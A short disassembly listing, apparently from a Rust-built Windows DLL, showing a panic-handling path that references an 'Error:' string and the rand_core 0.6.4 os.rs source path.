ret
lea rax, [rsp + 0x24]
mov dword [rax], ebp
lea rdx, [rsp + 0x28]
mov qword [rdx], rax
lea rax, str.Error:
lea rcx, [rsp + 0x38]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea r8, [0x180016c10]
mov qword [rdx + 8], r8
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rand_core_0.6.4_srcos.rs
call fcn.1800349a0
ud2